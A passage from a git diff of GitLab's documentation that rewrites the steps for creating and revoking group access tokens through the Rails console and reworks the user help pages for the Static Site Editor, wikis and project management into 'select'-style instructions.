+To create a group access token:
-```ruby
-admin = User.find(1) # group admin
-group = Group.find(109) # the group you want to create a token for
-bot = Users::CreateService.new(admin, { name: 'group_token', username: "group_#{group.id}_bot", email: "group_#{group.id}_bot@example.com", user_type: :project_bot }).execute # create the group bot user
-# for further group access tokens, the username should be group_#{group.id}_bot#{bot_count}, e.g. group_109_bot2, and their email should be group_109_bot2@example.com
-bot.confirm # confirm the bot
-group.add_user(bot, :maintainer) # add the bot to the group at the desired access level
-token = bot.personal_access_tokens.create(scopes:[:api, :write_repository], name: 'group_token') # give it a PAT
-gtoken = token.token # get the token value
-```
+1. Run the following commands in a [Rails console](../../../administration/operations/rails_console.md):
+
+ ```ruby
+ # Set the GitLab administration user to use. If user ID 1 is not available or is not an adinistrator, use 'admin = User.admins.first' instead to select an admininistrator.
+ admin = User.find(1)
+
+ # Set the group group you want to create a token for. For example, group with ID 109.
+ group = Group.find(109)
+
+ # Create the group bot user. For further group access tokens, the username should be group_#{group.id}_bot#{bot_count}. For example, group_109_bot2 and email address group_109_bot2@example.com.
+ bot = Users::CreateService.new(admin, { name: 'group_token', username: "group_#{group.id}_bot", email: "group_#{group.id}_bot@example.com", user_type: :project_bot }).execute
+
+ # Confirm the group bot.
+ bot.confirm
+
+ # Add the bot to the group with the required role.
+ group.add_user(bot, :maintainer)
-Test if the generated group access token works:
+ # Give the bot a personal access token.
+ token = bot.personal_access_tokens.create(scopes:[:api, :write_repository], name: 'group_token')
-1. Pass the group access token in the `PRIVATE-TOKEN` header to GitLab REST APIs. For example:
+ # Get the token value.
+ gtoken = token.token
+ ```
- - [Create an epic](../../../api/epics.md#new-epic) on the group.
- - [Create a project pipeline](../../../api/pipelines.md#create-a-new-pipeline)
- in one of the group's projects.
- - [Create an issue](../../../api/issues.md#new-issue) in one of the group's projects.
+1. Test if the generated group access token works:
-1. Use the group token to [clone a group's project](../../../gitlab-basics/start-using-git.md#clone-with-https)
- using HTTPS.
+ 1. Use the group access token in the `PRIVATE-TOKEN` header with GitLab REST APIs. For example:
+
+ - [Create an epic](../../../api/epics.md#new-epic) in the group.
+ - [Create a project pipeline](../../../api/pipelines.md#create-a-new-pipeline) in one of the group's projects.
+ - [Create an issue](../../../api/issues.md#new-issue) in one of the group's projects.
+
+ 1. Use the group token to [clone a group's project](../../../gitlab-basics/start-using-git.md#clone-with-https)
+ using HTTPS.
### Revoke a group access token
-To revoke a group access token, run the following in a Rails console:
+To revoke a group access token, run the following command in a [Rails console](../../../administration/operations/rails_console.md):
```ruby
bot = User.find_by(username: 'group_109_bot') # the owner of the token you want to revoke
token = bot.personal_access_tokens.last # the token you want to revoke
token.revoke!
```
+
+## Project bot users
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210181) in GitLab 13.0.
+> - [Excluded from license seat use](https://gitlab.com/gitlab-org/gitlab/-/issues/223695) in GitLab 13.5.
+
+Project bot users are [GitLab-created service accounts](../../../subscriptions/self_managed/index.md#billable-users).
+Each time you create a project access token, a bot user is created and added to the project.
+These bot users do not count as licensed seats.
+
+The bot users have [permissions](../../permissions.md#project-members-permissions) that correspond with the
+selected role and [scope](#scopes-for-a-project-access-token) of the project access token.
+
+- The name is set to the name of the token.
+- The username is set to `project_{project_id}_bot` for the first access token. For example, `project_123_bot`.
+- The email is set to `project{project_id}_bot@example.com`. For example, `project123_bot@example.com`.
+- For additional access tokens in the same project, the username is set to `project_{project_id}_bot{bot_count}`. For
+ example, `project_123_bot1`.
+- For additional access tokens in the same project, the email is set to `project{project_id}_bot{bot_count}@example.com`.
+ For example, `project123_bot1@example.com`.
+
+API calls made with a project access token are associated with the corresponding bot user.
+
+Bot users:
+
+- Are included in a project's member list but cannot be modified.
+- Cannot be added to any other project.
+
+When the project access token is [revoked](#revoke-a-project-access-token):
+
+- The bot user is deleted.
+- All records are moved to a system-wide user with the username `Ghost User`. For more information, see
+ [associated records](../../profile/account/delete_account.md#associated-records).
diff --git a/doc/user/project/static_site_editor/index.md b/doc/user/project/static_site_editor/index.md
index 431250a817d..50b1a3a929d 100644
--- a/doc/user/project/static_site_editor/index.md
+++ b/doc/user/project/static_site_editor/index.md
@@ -72,11 +72,11 @@ First, set up the project. Once done, you can use the Static Site Editor to
1. To get started, create a new project from the [Static Site Editor - Middleman](https://gitlab.com/gitlab-org/project-templates/static-site-editor-middleman)
template. You can either [fork it](../repository/forking_workflow.md#creating-a-fork)
- or [create a new project from a template](../working_with_projects.md#built-in-templates).
+ or [create a new project from a template](../working_with_projects.md#create-a-project-from-a-built-in-template).
1. Edit the [`data/config.yml`](#static-site-generator-configuration) configuration file
to replace `<username>` and `<project-name>` with the proper values for
your project's path.
-1. (Optional) Edit the [`.gitlab/static-site-editor.yml`](#static-site-editor-configuration-file) file
+1. Optional. Edit the [`.gitlab/static-site-editor.yml`](#static-site-editor-configuration-file) file
to customize the behavior of the Static Site Editor.
1. When you submit your changes, GitLab triggers a CI/CD pipeline to deploy your project with GitLab Pages.
1. When the pipeline finishes, from your project's left-side menu, go to **Settings > Pages** to find the URL of your new website.
@@ -96,15 +96,15 @@ After setting up your project, you can start editing content directly from the S
To edit a file:
1. Visit the page you want to edit.
-1. Click the **Edit this page** button.
+1. Select **Edit this page**.
1. The file is opened in the Static Site Editor in **WYSIWYG** mode. If you
wish to edit the raw Markdown instead, you can toggle the **Markdown** mode
in the bottom-right corner.
1. When you're done, click **Submit changes...**.
-1. (Optional) Adjust the default title and description of the merge request, to submit
+1. Optional. Adjust the default title and description of the merge request, to submit
with your changes. Alternatively, select a [merge request template](../../../user/project/description_templates.md#create-a-merge-request-template)
from the dropdown menu and edit it accordingly.
-1. Click **Submit changes**.
+1. Select **Submit changes**.
1. A new merge request is automatically created and you can assign a colleague for review.
### Text
@@ -123,11 +123,11 @@ The Static Site Editors supports Markdown files (`.md`, `.md.erb`) for editing t
You can upload image files via the WYSIWYG editor directly to the repository to default upload directory
`source/images`. To do so:
-1. Click the image icon (**{doc-image}**).
-1. Choose the **Upload file** tab.
-1. Click **Choose file** to select a file from your computer.
-1. Optional: add a description to the image for SEO and accessibility ([ALT text](https://moz.com/learn/seo/alt-text)).
-1. Click **Insert image**.
+1. Select the image icon (**{doc-image}**).
+1. Select the **Upload file** tab.
+1. To select a file from your computer, select **Choose file**.
+1. Optional. Add a description to the image for SEO and accessibility ([ALT text](https://moz.com/learn/seo/alt-text)).
+1. Select **Insert image**.
The selected file can be any supported image file (`.png`, `.jpg`, `.jpeg`, `.gif`). The editor renders
thumbnail previews so you can verify the correct image is included and there aren't any references to
@@ -137,11 +137,11 @@ missing images.
You can also link to an image if you'd like:
-1. Click the image icon (**{doc-image}**).
-1. Choose the **Link to an image** tab.
+1. Select the image icon (**{doc-image}**).
+1. Select the **Link to an image** tab.
1. Add the link to the image into the **Image URL** field (use the full path; relative paths are not supported yet).
-1. Optional: add a description to the image for SEO and accessibility ([ALT text](https://moz.com/learn/seo/alt-text)).
-1. Click **Insert image**.
+1. Optional. Add a description to the image for SEO and accessibility ([ALT text](https://moz.com/learn/seo/alt-text)).
+1. Select **Insert image**.
The link can reference images already hosted in your project, an asset hosted
externally on a content delivery network, or any other external URL. The editor renders thumbnail previews
diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md
index 8902bdc21c4..b41ea30bfef 100644
--- a/doc/user/project/time_tracking.md
+++ b/doc/user/project/time_tracking.md
@@ -123,7 +123,7 @@ To do so:
With this option enabled, `75h` is displayed instead of `1w 4d 3h`.
-## Related links
+## Related topics
- [Time tracking solutions page](https://about.gitlab.com/solutions/time-tracking/)
- Time tracking GraphQL references:
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index d75a180492e..40c9ae8bd59 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -456,7 +456,7 @@ when:
- <kbd>Control</kbd> + <kbd>S</kbd> (or <kbd>Command</kbd> + <kbd>S</kbd> on Mac)
is pressed while editing a file.
-- Anything outside the file editor is clicked after editing a file.
+- You select any area outside the file editor after editing a file.
- A file or folder is created, deleted, or renamed.
### Limitations
diff --git a/doc/user/project/wiki/img/content_editor_v14.0.png b/doc/user/project/wiki/img/content_editor_v14.0.png
deleted file mode 100644
index b44a633073d..00000000000
--- a/doc/user/project/wiki/img/content_editor_v14.0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/wiki/img/content_editor_v14.6.png b/doc/user/project/wiki/img/content_editor_v14.6.png
new file mode 100644
index 00000000000..55fca0ace1e
--- /dev/null
+++ b/doc/user/project/wiki/img/content_editor_v14.6.png
Binary files differ
diff --git a/doc/user/project/wiki/img/use_new_editor_button_v14.0.png b/doc/user/project/wiki/img/use_new_editor_button_v14.0.png
deleted file mode 100644
index d9a5cf83302..00000000000
--- a/doc/user/project/wiki/img/use_new_editor_button_v14.0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/wiki/img/use_new_editor_button_v14.6.png b/doc/user/project/wiki/img/use_new_editor_button_v14.6.png
new file mode 100644
index 00000000000..078fed8a1e9
--- /dev/null
+++ b/doc/user/project/wiki/img/use_new_editor_button_v14.6.png
Binary files differ
diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md
index 5d2a0530f68..9f1670d3f4c 100644
--- a/doc/user/project/wiki/index.md
+++ b/doc/user/project/wiki/index.md
@@ -87,7 +87,7 @@ Users with the [Developer role](../../permissions.md) can create new wiki pages:
[special characters](#special-characters-in-page-titles) for subdirectories and formatting,
and have [length restrictions](#length-restrictions-for-file-and-directory-names).
1. Add content to your wiki page.
-1. (Optional) Attach a file, and GitLab stores it according to your installed version of GitLab:
+1. Optional. Attach a file, and GitLab stores it according to your installed version of GitLab:
- *Files added in [GitLab 11.3 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475):*
Files are stored in the wiki's Git repository.
- *Files added GitLab 11.2 and earlier:* Files are stored in GitLab itself. To add
@@ -236,7 +236,7 @@ GitLab tracks wiki creation, deletion, and update events. These events are displ
- [User profile](../../profile/index.md#access-your-user-profile).
- Activity pages, depending on the type of wiki:
- [Group activity](../../group/index.md#view-group-activity).
- - [Project activity](../working_with_projects.md#project-activity).
+ - [Project activity](../working_with_projects.md#view-project-activity).
Commits to wikis are not counted in [repository analytics](../../analytics/repository_analytics.md).
@@ -290,7 +290,7 @@ To add a link to an external wiki from a project's left sidebar:
1. On the left sidebar, select **Settings > Integrations**.
1. Select **External wiki**.
1. Add the URL to your external wiki.
-1. (Optional) Select **Test settings** to verify the connection.
+1. Optional. To verify the connection, select **Test settings**.
1. Select **Save changes**.
You can now see the **External wiki** option from your project's
@@ -339,27 +339,24 @@ experience in the Wiki. To opt in for the new editor:
1. Create a new wiki page, or edit an existing one.
1. Ensure the wiki page uses the Markdown format. Other formats are not yet supported.
-1. Below the **Format** select box, select **Use the new editor**:
+1. Above the content field, select **Edit rich text**:
- ![Use new editor button image](img/use_new_editor_button_v14.0.png)
+ ![Use new editor button image](img/use_new_editor_button_v14.6.png)
### Use the Content Editor
1. [Create](#create-a-new-wiki-page) a new wiki page, or [edit](#edit-a-wiki-page) an existing one.
1. Select **Markdown** as your format.
-1. Below the **Format** select box, select **Use new editor**.
+1. Above **Content**, select **Edit rich text**.
1. Customize your page's content using the various formatting options available in the content editor.
1. Select **Create page** for a new page, or **Save changes** for an existing page:
- ![Content Editor in Wikis image](img/content_editor_v14.0.png)
+ ![Content Editor in Wikis image](img/content_editor_v14.6.png)
### Switch back to the old editor
1. *If you're editing the page in the content editor,* scroll to **Content**.
-1. Select **Switch me back to the classic editor**.
-1. Select **Switch to classic editor** in the confirmation popup to confirm.
-
-When you switch back to the old editor, any unsaved changes are lost.
+1. Select **Edit source**.
### GitLab Flavored Markdown support
diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md
index 3c82e544e26..b5b3f2d2085 100644
--- a/doc/user/project/working_with_projects.md
+++ b/doc/user/project/working_with_projects.md
@@ -4,35 +4,59 @@ group: Workspace
info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
---
-# Working with projects **(FREE)**
+# Manage projects **(FREE)**
Most work in GitLab is done in a [project](../../user/project/index.md). Files and
code are saved in projects, and most features are in the scope of projects.
-## Explore projects
+## View projects
-You can explore other popular projects available on GitLab. To explore projects:
+To explore projects:
1. On the top bar, select **Menu > Projects**.
1. Select **Explore projects**.
-GitLab displays a list of projects, sorted by last updated date. To view
-projects with the most [stars](#star-a-project), click **Most stars**. To view
-projects with the largest number of comments in the past month, click **Trending**.
+The **Projects** page shows a list of projects, sorted by last updated date.
+
+- To view projects with the most [stars](#star-a-project), select **Most stars**.
+- To view projects with the largest number of comments in the past month, select **Trending**.
NOTE:
-By default, `/explore` is visible to unauthenticated users. However, if the
+The **Explore projects** tab is visible to unauthenticated users unless the
[**Public** visibility level](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels)
-is restricted, `/explore` is visible only to signed-in users.
+is restricted. Then the tab is visible only to signed-in users.
+
+### Who can view the **Projects** page
+
+When you select a project, the project landing page shows the project contents.
+
+For public projects, and members of internal and private projects
+with [permissions to view the project's code](../permissions.md#project-members-permissions),
+the project landing page shows:
+
+- A [`README` or index file](repository/index.md#readme-and-index-files).
+- A list of directories in the project's repository.
+
+For users without permission to view the project's code, the landing page shows:
+
+- The wiki homepage.
+- The list of issues in the project.
+
+### Access a project page with the project ID
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53671) in GitLab 11.8.
+
+To access a project from the GitLab UI using the project ID,
+visit the `/projects/:id` URL in your browser or other tool accessing the project.
## Explore topics
-You can explore popular project topics available on GitLab. To explore project topics:
+To explore project topics:
1. On the top bar, select **Menu > Projects**.
1. Select **Explore topics**.
-GitLab displays a list of topics sorted by the number of associated projects.
+The **Projects** page shows list of topics sorted by the number of associated projects.
To view projects associated with a topic, select a topic from the list.
You can assign topics to a project on the [Project Settings page](settings/index.md#topics).
@@ -44,290 +68,280 @@ If you're an instance administrator, you can administer all project topics from
To create a project in GitLab:
-1. In your dashboard, select **New project** or use the **New...** **{plus-square}** icon
-on the top bar. The **New project** page opens.
+1. On the top bar, select **Menu > Project**.
+1. Select **Create new project**.
1. On the **New project** page, choose if you want to:
- - Create a [blank project](#blank-projects).
- - Create a project using one of the available [project templates](#project-templates).
- - [Import a project](../../user/project/import/index.md) from a different repository,
- if enabled on your GitLab instance. Contact your GitLab administrator if this is unavailable.
- - Run [CI/CD pipelines for external repositories](../../ci/ci_cd_for_external_repos/index.md). **(PREMIUM)**
+ - Create a [blank project](#create-a-blank-project).
+ - Create a project from a:
+ - [built-in template](#create-a-project-from-a-built-in-template).
+ - [custom template](#create-a-project-from-a-custom-template).
+ - [HIPAA audit protocol template](#create-a-project-from-the-hipaa-audit-protocol-template).
+ - [Import a project](../../user/project/import/index.md)
+ from a different repository. Contact your GitLab administrator if this option is not available.
+ - [Connect an external repository to GitLab CI/CD](../../ci/ci_cd_for_external_repos/index.md).
NOTE:
For a list of words that can't be used as project names see
-[Reserved project and group names](../../user/reserved_names.md).
-
-### Blank projects
-
-To create a new blank project on the **New project** page:
-
-1. Click **Create blank project**
-1. Provide the following information:
- - The name of your project in the **Project name** field. You can't use
- special characters, but you can use spaces, hyphens, underscores, or even
- emoji. When adding the name, the **Project slug** auto populates.
- The slug is what the GitLab instance uses as the URL path to the project.
- If you want a different slug, input the project name first,
- then change the slug after.
- - The path to your project in the **Project slug** field. This is the URL
- path for your project that the GitLab instance uses. If the
- **Project name** is blank, it auto populates when you fill in
- the **Project slug**.
- - The **Project description (optional)** field enables you to enter a
- description for your project's dashboard, which helps others
- understand what your project is about. Though it's not required, it's a good
- idea to fill this in.
- - Changing the **Visibility Level** modifies the project's
- [viewing and access rights](../../public_access/public_access.md) for users.
- - Selecting the **Initialize repository with a README** option creates a
- README file so that the Git repository is initialized, has a default branch, and
- can be cloned.
-1. Click **Create project**.
-
-### Project templates
-
-Project templates can pre-populate a new project with the necessary files to get you
-started quickly.
-
-There are two main types of project templates:
-
-- [Built-in templates](#built-in-templates), sourced from the following groups:
- - [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
- - [`pages`](https://gitlab.com/pages)
-- [Custom project templates](#custom-project-templates), for custom templates
- configured by GitLab administrators and users.
-
-#### Built-in templates
-
-Built-in templates are project templates that are:
-
-- Developed and maintained in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
- and [`pages`](https://gitlab.com/pages) groups.
-- Released with GitLab.
-- Anyone can contribute a built-in template by following [these steps](https://about.gitlab.com/community/contribute/project-templates/).
-
-To use a built-in template on the **New project** page:
-
-1. Click **Create from template**
+[reserved project and group names](../../user/reserved_names.md).
+
+## Create a blank project
+
+To create a blank project:
+
+1. On the top bar, select **Menu > Project**.
+1. Select **Create new project**.
+1. Select **Create blank project**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You can use spaces, hyphens,
+ underscores, and emoji. You cannot use special characters. After you enter the name,
+ the **Project slug** populates.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - In the **Project description (optional)** field, enter the description of your project's dashboard.
+ - To modify the project's [viewing and access rights](../../public_access/public_access.md) for
+ users, change the **Visibility Level**.
+ - To create README file so that the Git repository is initialized, has a default branch, and
+ can be cloned, select **Initialize repository with a README**.
+ - To analyze the source code in the project for known security vulnerabilities,
+ select **Enable Static Application Security Testing (SAST)**.
+1. Select **Create project**.
+
+## Create a project from a built-in template
+
+A built-in project template populates a new project with files to get you started.
+Built-in templates are sourced from the following groups:
+
+- [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
+- [`pages`](https://gitlab.com/pages)
+
+Anyone can contribute a built-in template by following [these steps](https://about.gitlab.com/community/contribute/project-templates/).
+
+To create a project from a built-in template:
+
+1. On the top bar, select **Menu > Project**.
+1. Select **Create new project**.
+1. Select **Create from template**.
1. Select the **Built-in** tab.
-1. From the list of available built-in templates, click the:
- - **Preview** button to look at the template source itself.
- - **Use template** button to start creating the project.
-1. Finish creating the project by filling out the project's details. The process is
- the same as creating a [blank project](#blank-projects).
+1. From the list of templates:
+ - To view a preview of the template, select **Preview**.
+ - To use a template for the project, select **Use template**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You can use spaces, hyphens,
+ underscores, and emoji. You cannot use special characters. After you enter the name,
+ the **Project slug** populates.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - In the **Project description (optional)** field, enter the description of your project's dashboard.
+ - To modify the project's [viewing and access rights](../../public_access/public_access.md) for users,
+ change the **Visibility Level**.
+1. Select **Create project**.
+
+## Create a project from a custom template **(PREMIUM)**
-##### Enterprise templates **(ULTIMATE)**
-
-GitLab is developing Enterprise templates to help you streamline audit management with selected regulatory standards. These templates automatically import issues that correspond to each regulatory requirement.
-
-To create a new project with an Enterprise template, on the **New project** page:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2.
-1. Click **Create from template**
+Custom project templates are available at:
+
+- The [instance-level](../../user/admin_area/custom_project_templates.md)
+- The [group-level](../../user/group/custom_project_templates.md)
+
+1. On the top bar, select **Menu > Project**.
+1. Select **Create new project**.
+1. Select **Create from template**.
+1. Select the **Instance** or **Group** tab.
+1. From the list of templates:
+ - To view a preview of the template, select **Preview**.
+ - To use a template for the project, select **Use template**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You can use spaces, hyphens,
+ underscores, and emoji. You cannot use special characters. After you enter the name,
+ the **Project slug** populates.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - The description of your project's dashboard in the **Project description (optional)** field.
+ - To modify the project's [viewing and access rights](../../public_access/public_access.md) for users,
+ change the **Visibility Level**.
+1. Select **Create project**.
+
+## Create a project from the HIPAA Audit Protocol template **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10
+
+The HIPAA Audit Protocol template contains issues for audit inquiries in the
+HIPAA Audit Protocol published by the U.S Department of Health and Human Services.
+
+To create a project from the HIPAA Audit Protocol template:
+
+1. On the top bar, select **Menu > Project**.
+1. Select **Create new project**.
+1. Select **Create from template**.
1. Select the **Built-in** tab.
-1. From the list of available built-in Enterprise templates, click the:
- - **Preview** button to look at the template source itself.
- - **Use template** button to start creating the project.
-1. Finish creating the project by filling out the project's details. The process is the same as creating a [blank project](#blank-projects).
+1. Locate the **HIPAA Audit Protocol** template:
+ - To view a preview of the template, select **Preview**.
+ - To use the template for the project, select **Use template**.
+1. Enter the project details:
+ - In the **Project name** field, enter the name of your project. You can use spaces, hyphens,
+ underscores, and emoji. You cannot use special characters. After you enter the name,
+ the **Project slug** populates.
+ - In the **Project slug** field, enter the path to your project. The GitLab instance uses the
+ slug as the URL path to the project. To change the slug, first enter the project name,
+ then change the slug.
+ - In the **Project description (optional)** field, enter the description of your project's dashboard.
+ - To modify the project's [viewing and access rights](../../public_access/public_access.md) for users,
+ change the **Visibility Level**.
+1. Select **Create project**.
+
+## Push to create a new project
-Available Enterprise templates include:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5.
-- HIPAA Audit Protocol template ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10)
+Use `git push` to push a local project repository to GitLab. After you push a repository,
+GitLab creates your project in your chosen namespace.
-NOTE:
-You can improve the existing built-in templates or contribute new ones in the
-[`project-templates`](https://gitlab.com/gitlab-org/project-templates) and
-[`pages`](https://gitlab.com/pages) groups by following [these steps](https://gitlab.com/gitlab-org/project-templates/contributing).
+You cannot use `git push` to create projects with project paths that:
-##### Custom project templates **(PREMIUM)**
+- Have previously been used.
+- Have been [renamed](settings/index.md#renaming-a-repository).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2.
+Previously used project paths have a redirect. The redirect causes push attempts to redirect requests
+to the renamed project location, instead of creating a new project. To create a new project for a previously
+used or renamed project, use the [UI](#create-a-project) or the [Projects API](../../api/projects.md#create-project).
-Creating new projects based on custom project templates is a convenient option for
-quickly starting projects.
+Prerequisites:
-Custom projects are available at the [instance-level](../../user/admin_area/custom_project_templates.md)
-from the **Instance** tab, or at the [group-level](../../user/group/custom_project_templates.md)
-from the **Group** tab, on the **Create from template** page.
+- To push with SSH, you must have [an SSH key](../../ssh/index.md) that is
+[added to your GitLab account](../../ssh/index.md#add-an-ssh-key-to-your-gitlab-account).
+- You must have permission to add new projects to a namespace. To check if you have permission:
-To use a custom project template on the **New project** page:
+ 1. On the top bar, select **Menu > Project**.
+ 1. Select **Groups**.
+ 1. Select a group.
+ 1. Confirm that **New project** is visible in the upper right
+ corner. Contact your GitLab
+ administrator if you require permission.
-1. Click **Create from template**
-1. Select the **Instance** tab or the **Group** tab.
-1. From the list of available custom templates, click the:
- - **Preview** button to look at the template source itself.
- - **Use template** button to start creating the project.
-1. Finish creating the project by filling out the project's details. The process is
- the same as creating a [blank project](#blank-projects).
+To push your repository and create a project:
-## Push to create a new project
+1. Push with SSH or HTTPS:
+ - To push with SSH:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5.
+ ```shell
+ git push --set-upstream git@gitlab.example.com:namespace/myproject.git master
+ ```
-When you create a new repository locally, you don't have to sign in to the GitLab
-interface to create a project and
-[clone its repository](../../gitlab-basics/start-using-git.md#clone-a-repository).
-You can directly push your new repository to GitLab, which creates your new project
-without leaving your terminal.
-
-To push a new project:
-
-1. Identify the [namespace](../group/index.md#namespaces) you want to add the new
- project to, as you need this information in a future step. To determine if you have
- permission to create new projects in a namespace, view the group's page in a
- web browser and confirm the page displays a **New project** button.
-
- NOTE:
- As project creation permissions can have many factors, contact your
- GitLab administrator if you're unsure.
-
-1. If you want to push using SSH, ensure you have [created a SSH key](../../ssh/index.md) and
- [added it to your GitLab account](../../ssh/index.md#add-an-ssh-key-to-your-gitlab-account).
-1. Push with one of the following methods. Replace `gitlab.example.com` with the
- domain name of the machine that hosts your Git repository, `namespace` with the name of
- your namespace, and `myproject` with the name of your new project:
- - To push with SSH: `git push --set-upstream git@gitlab.example.com:namespace/myproject.git master`
- - To push with HTTPS: `git push --set-upstream https://gitlab.example.com/namespace/myproject.git master`
- Optional: to export existing repository tags, append the `--tags` flag to your `git push` command.
-1. When the push completes, GitLab displays a message:
-
- ```plaintext
- remote: The private project namespace/myproject was created.
- ```
+ - To push with HTTPS:
-1. (Optional) To configure the remote, alter the command
- `git remote add origin https://gitlab.example.com/namespace/myproject.git`
- to match your namespace and project names.
+ ```shell
+ git push --set-upstream https://gitlab.example.com/namespace/myproject.git master
+ ```
-You can view your new project at `https://gitlab.example.com/namespace/myproject`.
-Your project's visibility is set to **Private** by default, but you can change it
-in your [project's settings](../../public_access/public_access.md#change-project-visibility)).
+ - For `gitlab.example.com`, use the domain name of the machine that hosts your Git repository.
+ - For `namespace`, use the name of your [namespace](../group/index.md#namespaces).
+ - For `myproject`, use the name of your project.
+ - Optional. To export existing repository tags, append the `--tags` flag to your `git push` command.
+1. Optional. To configure the remote:
-This feature does not work for project paths that have previously been in use and
-[renamed](settings/index.md#renaming-a-repository). A redirect exists over the previous project path
-that causes push attempts to redirect requests to the renamed project location, instead of creating
-a new project. To create a new project, use the [Web UI](#create-a-project) or the
-[Projects API](../../api/projects.md#create-project).
+ ```shell
+ git remote add origin https://gitlab.example.com/namespace/myproject.git
+ ```
-## Fork a project
+When the push completes, GitLab displays the message:
-A fork is a copy of an original repository that you put in another namespace
-where you can experiment and apply changes that you can later decide whether or
-not to share, without affecting the original project.
+```shell
+remote: The private project namespace/myproject was created.
+```
-It takes just a few steps to [fork a project in GitLab](repository/forking_workflow.md#creating-a-fork).
+To view your new project, go to `https://gitlab.example.com/namespace/myproject`.
+Your project's visibility is set to **Private** by default. To change project visibility, adjust your
+[project's settings](../../public_access/public_access.md#change-project-visibility).
## Star a project
-You can star a project to make it easier to find projects you frequently use.
-The number of stars a project has can indicate its popularity.
+You can add a star to projects you use frequently to make them easier to find.
-To star a project:
+To add a star to a project:
-1. Go to the home page of the project you want to star.
-1. In the upper right corner of the page, click **Star**.
+1. On the top bar, select **Menu > Project**.
+1. Select **Your projects** or **Explore projects**.
+1. Select a project.
+1. In the upper right corner of the page, select **Star**.
-To view your starred projects:
+## View starred projects
-1. On the top bar, select **Menu > Projects**.
-1. Select **Starred Projects**.
+1. On the top bar, select **Menu > Project**.
+1. Select **Starred projects**.
1. GitLab displays information about your starred projects, including:
- - Project description, including name, description, and icon
- - Number of times this project has been starred
- - Number of times this project has been forked
- - Number of open merge requests
- - Number of open issues
+ - Project description, including name, description, and icon.
+ - Number of times this project has been starred.
+ - Number of times this project has been forked.
+ - Number of open merge requests.
+ - Number of open issues.
## Delete a project
-To delete a project, first navigate to the home page for that project.
+After you delete a project, projects in personal namespaces are deleted immediately. To delay deletion of projects in a group
+you can [enable delayed project removal](../group/index.md#enable-delayed-project-deletion).
-1. Navigate to **Settings > General**.
+To delete a project:
+
+1. On the top bar, select **Menu > Project**.
+1. Select **Your projects** or **Explore projects**.
+1. Select a project.
+1. Select **Settings > General**.
1. Expand the **Advanced** section.
1. Scroll down to the **Delete project** section.
-1. Click **Delete project**
-1. Confirm this action by typing in the expected text.
+1. Select **Delete project**
+1. Confirm this action by completing the field.
-Projects in personal namespaces are deleted immediately on request. For information on delayed deletion of projects in a group, please see [Enable delayed project removal](../group/index.md#enable-delayed-project-removal).
+## View project activity
-## Project settings
+To view the activity of a project:
-Set the project's visibility level and the access levels to its various pages
-and perform actions like archiving, renaming or transferring a project.
+1. On the top bar, select **Menu > Project**.
+1. Select **Your projects** or **Explore projects**.
+1. Select a project.
+1. On the left sidebar, select **Project information > Activity**.
+1. Select a tab to view the type of project activity.
-Read through the documentation on [project settings](settings/index.md).
+## Leave a project
-## Project activity
+If you leave a project you are no longer a project
+member and cannot contribute.
-To view the activity of a project:
+To leave a project:
-1. On the left sidebar, select **Project information > Activity**.
-1. Select a tab to view **All** the activity, or to filter it by any of these criteria:
- - **Push events**
- - **Merge events**
- - **Issue events**
- - **Comments**
- - **Team**
- - **Wiki**
-
-### Leave a project
-
-**Leave project** only displays on the project's dashboard
-when a project is part of a group (under a
-[group namespace](../group/index.md#namespaces)).
-If you choose to leave a project you are no longer a project
-member, and cannot contribute.
-
-## Use your project as a Go package
-
-Any project can be used as a Go package. GitLab responds correctly to `go get`
-and `godoc.org` discovery requests, including the
-[`go-import`](https://golang.org/cmd/go/#hdr-Remote_import_paths) and
-[`go-source`](https://github.com/golang/gddo/wiki/Source-Code-Links) meta tags.
-
-Private projects, including projects in subgroups, can be used as a Go package,
-but may require configuration to work correctly. GitLab responds correctly
-to `go get` discovery requests for projects that *are not* in subgroups,
-regardless of authentication or authorization.
-[Authentication](#authenticate-go-requests) is required to use a private project
-in a subgroup as a Go package. Otherwise, GitLab truncates the path for
-private projects in subgroups to the first two segments, causing `go get` to
-fail.
-
-GitLab implements its own Go proxy. This feature must be enabled by an
-administrator and requires additional configuration. See [GitLab Go
-Proxy](../packages/go_proxy/index.md).
-
-### Disable Go module features for private projects
-
-In Go 1.12 and later, Go queries module proxies and checksum databases in the
-process of [fetching a
-module](../../development/go_guide/dependencies.md#fetching). This can be
